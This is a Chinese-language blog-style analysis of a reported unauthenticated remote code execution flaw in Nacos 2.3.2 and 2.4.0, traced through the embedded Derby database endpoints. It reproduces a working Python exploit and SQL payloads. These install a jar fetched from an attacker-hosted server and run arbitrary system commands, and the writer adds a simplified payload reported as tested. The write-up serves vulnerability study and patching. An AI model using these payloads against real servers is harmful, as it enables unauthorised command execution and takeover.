网传的nacos 0day分析

前言

这个”nacos 0day”在今天下午(2024.7.15)在各个公众号和群疯传,漏洞作者在GitHub上给出了POC

没接触过nacos,尝试分析

漏洞复现

这里直接使用给POC进行复现,并且作者给出了利用方式

因为某些原因,公开一个nacos的0day

环境准备:
下载nacos2.3.2或2.4.0版本,解压,使用
startup.cmd -m standalone 启动nacos
补充POC信息
POC是一个python项目,依赖requests和flask,请先使用requiments.txt安装依赖
1.配置config.py中的ip和端口,执行service.py,POC攻击需要启动一个jar包下载的地方,jar包里可以放任意代码,都可执行,我这里放了一个接收参数执行java命令的
2.执行exploit.py,输入地址和命令即可执行。

首先下载nacos2.3.2或2.4.0版本(我用的是2.4.0),解压然后在bin目录下运行命令startup.cmd -m standalone

然后修改config.py中的配置,这个配置是远程jar文件下载的地址IP和端口

image-20240715215040114

然后运行service.py,这个脚本启动了一个http服务,服务的作用是给nacos请求下载jar,这个jar在脚本中以base64字符串的形式存在,所以在文件夹看不到jar文件。jar包里可以放任意代码,都可执行,作者放了一个接收参数执行java命令的jar。

然后再运行exploit.py,输入地址和命令即可执行(ps:我这里用的是源码启动,方便调试)

image-20240715215456698

可以看到成功的执行了系统命令

调试环境配置

为了方便调试分析,下载源码(2.4.0)调试运行

将源码导入IDEA后,等待加载,并使用mvn完成编译,否则运行会报错确实某个类

image-20240715215811137

然后配置运行,主类是com.alibaba.nacos.Nacos,并添加VM参数-Dnacos.standalone=true否则为集群启动

image-20240715215849648

漏洞分析

漏洞分析从POC入手

def exploit(target, command, service):
    removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    for i in range(0,sys.maxsize):
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
        post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id=id,service=service);
        # option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id,cmd=command);
        get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
        #get_sql = "select * from users /*ROWS FETCH NEXT*/".format(id=id,cmd=command);
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url,files=files)
        post_json = post_resp.json()
        if post_json.get('message',None) is None and post_json.get('data',None) is not None:
            print(post_resp.text)
            get_resp = requests.get(url=derby_url,params={'sql':get_sql})
            print(get_resp.text)
            break

可以看到该POC发起了两次请求

第一次请求的路径是/nacos/v1/cs/ops/data/removal,不难看出这请求是在上传文件,文件的内容是几条sql语句

CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)

CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')

CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'

id是随机字符串,service是远程下载jar的地址

第一条语句的意思是在当前数据库中安装 JAR 文件并为其分配 JAR 标识符id

第二条语句是调用SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY方法,它是Apache Derby数据库用来设置数据库属性的方法,这里将derby.database.classpath属性设置为'NACOS.{id}',将刚刚下载的JAR文件添加到数据库的类路径中,使得数据库能够使用JAR中的Java类

第三条语句是创建了一个名为S_EXAMPLE_{id}的数据库函数,它接受一个VARCHAR(2000)类型的参数并返回一个VARCHAR(2000)类型的结果。这个函数使用Java语言编写,并且是外部的,即它的实现在数据库外部的Java代码中。PARAMETER STYLE JAVA指示函数的参数风格与Java方法的参数风格一致。NO SQL表示这个函数不执行任何SQL语句。LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'指定了外部Java方法的完全限定名,即这个函数映射到test.poc.Example类的exec静态方法

所以这几句sql语句就是为了远程jar能够运行,只差调用test.poc.Example.exec

在IDEA搜索路径/v1/cs/ops/data/removal很容易的找到上传逻辑代码在com/alibaba/nacos/config/server/controller/ConfigOpsController.java

image-20240715221853204

首先进行模式检测启动模式DatasourceConfiguration.isEmbeddedStorage() ,跟进看了一下,似乎是前面所说的-Dnacos.standalone=true ,所以过if判断

然后往下就是除了上传的文件的逻辑了,没有什么特殊的处理,返回上传结果

来到第二个请求,/nacos/v1/cs/ops/derby,通过GET的方式传入参数sql

select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/

这个是一个sql语句嵌套,子查询中调用了前面定义的函数S_EXAMPLE_{id},并传入参数cmd ,如果sql语句运行了久能够调用Jar中的test.poc.Example.exec方法

同样的方式找到代码:
image-20240715223630222

这里再运行sql语句前,要经过三个判断

第一个是模式判断,和前面的一样

第二个是sql语句必须以SELECT开头,忽略大小写

第三个是sql语句必须存在字符串ROWS FETCH NEXT ,这个很好的解释了为什么要加 /*ROWS FETCH NEXT*/,/**/是注释

List<Map<String, Object>> result = template.queryForList(sql);中执行sql语句并返回了结果

按照分析,不需要嵌套外层sql语句,将payload改成如下即可,亲测可用

select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info/*ROWS FETCH NEXT*/

猜测的修复方案

1.未授权访问修复:按照POC两个请求都不需要授权就能访问,这是个很重要的点,修复大概率会出现在这里

2.sql语句过滤:这里猜测会对sqlj.install_jar()进行现在,还有一些特殊符号,即sql注释/**/

参考

https://help.hcltechsw.com/onedb/2.0.1/sqs/ids_sqs_1808.html

https://github.com/ayoundzw/nacos-poc